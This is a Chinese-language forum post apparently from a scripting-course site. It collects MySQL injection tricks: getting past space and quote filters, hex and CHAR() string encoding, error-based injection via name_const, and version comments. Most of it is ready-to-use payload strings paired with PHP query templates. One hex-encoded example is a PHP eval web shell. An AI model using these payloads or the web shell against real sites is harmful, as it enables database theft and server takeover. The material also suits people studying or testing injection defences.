欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]mysql注入的一些小技巧

[原创]mysql注入的一些小技巧

总结一些小技巧,欢迎指正

版本5.5.53

测试表结构

 

测试数据

 

1.过滤空格的

技巧:字符串加上引号不需要空格,数字加上括号不需要空格,/**/也能代替空格

Php:SELECT * FROM `test` WHERE `name`='$name' and `age`=18

Mysql:SELECT * FROM `test` WHERE `name`='1'or'1'union/**/select(1),(2),(3)from`test1`where(1)--'' and `age`=22

参数:$name=1'or'1'union/**/select(1),(2),(3)from`test1`where(1)--'

 

PS:不能控制整个整数的时候

技巧:用运算符连接+-*/

Php:SELECT * FROM `test` WHERE `age`=1$age and `name`!='wangwu'

Mysql:SELECT * FROM `test` WHERE `age`=1+(1)or(1) and `name`!='wangwu'

参数:$age=+(1)or(1)

2.过滤引号的

技巧:用十六进制代替字符串(select的内容 参数内容都可以使用)

:select ' <?php @eval($_POST[value]);?>' from `test` where `name`='wangwu'

Hex:select 0x3c3f70687020406576616c28245f504f53545b76616c75655d293b3f3e from `test` where `name`=0x77616e677775

 

技巧:用CHAR函数代替字符串

原:select * from test where `name`=wangwu

CHARselect * from test where `name`=CHAR(0x77,0x61,0x6e,0x67,0x77,0x75)

3.报错注入

技巧:利用重复列报错显示重复列列名以及name_const来构造

 

a.select name_const(version(),0)

 

b.select*from (select name_const(version(),0))a , (select name_const(version(),0))b

 

 

 

c.select * from (select*from (select name_const(version(),0))a , (select name_const(version(),0))b  )c

4.特殊注释

技巧:/!*50553*/ 表示版本是5.05.53及更高就执行

Mysql:/*!50553select*/ * from test;


注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功